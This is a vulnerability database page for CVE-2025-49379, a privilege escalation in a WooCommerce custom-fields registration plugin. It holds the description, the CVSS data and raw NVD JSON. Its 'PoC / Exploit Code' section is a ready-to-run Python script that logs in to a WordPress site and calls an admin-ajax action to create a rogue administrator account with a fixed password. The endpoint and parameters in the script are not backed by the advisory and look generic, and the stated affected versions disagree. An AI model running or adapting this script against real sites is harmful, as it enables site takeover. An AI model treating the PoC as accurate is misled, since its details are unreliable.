Security Vulnerability Report
中文
CVE-2025-49379 CVSS 7.2 HIGH

CVE-2025-49379

Published: 2025-12-18 08:15:52
Last Modified: 2026-04-15 00:35:42

Description

Incorrect Privilege Assignment vulnerability in silverplugins217 Custom Fields Account Registration For Woocommerce custom-fields-account-registration-for-woocommerce allows Privilege Escalation.This issue affects Custom Fields Account Registration For Woocommerce: from n/a through <= 1.2.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Custom Fields Account Registration For WooCommerce < 1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-49379 PoC - WordPress Custom Fields Account Registration Plugin Privilege Escalation # Target: WordPress site with Custom Fields Account Registration For WooCommerce <= 1.2 def exploit_privilege_escalation(target_url, username, password): """ Exploit the incorrect privilege assignment vulnerability to create an admin user """ session = requests.Session() # Step 1: Login with high-privilege account (editor/author role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Successfully logged in with high-privilege account") # Step 2: Exploit the privilege escalation via plugin's AJAX endpoint exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Create new admin user via plugin's vulnerable endpoint exploit_data = { 'action': 'custom_fields_account_registration_update_options', 'new_admin_user': 'attacker', 'new_admin_email': '[email protected]', 'new_admin_pass': 'P@ssw0rd123' } resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200 and 'success' in resp.text.lower(): print("[+] Privilege escalation successful - Admin account created") print("[+] New admin credentials: attacker / P@ssw0rd123") return True else: print("[-] Exploitation failed - Target may not be vulnerable or patched") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com editor pass123") sys.exit(1) exploit_privilege_escalation(sys.argv[1], sys.argv[2], sys.argv[3])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49379", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:51.683", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Privilege Assignment vulnerability in silverplugins217 Custom Fields Account Registration For Woocommerce custom-fields-account-registration-for-woocommerce allows Privilege Escalation.This issue affects Custom Fields Account Registration For Woocommerce: from n/a through <= 1.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/custom-fields-account-registration-for-woocommerce/vulnerability/wordpress-custom-fields-account-registration-for-woocommerce-plugin-1-2-privilege-escalation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}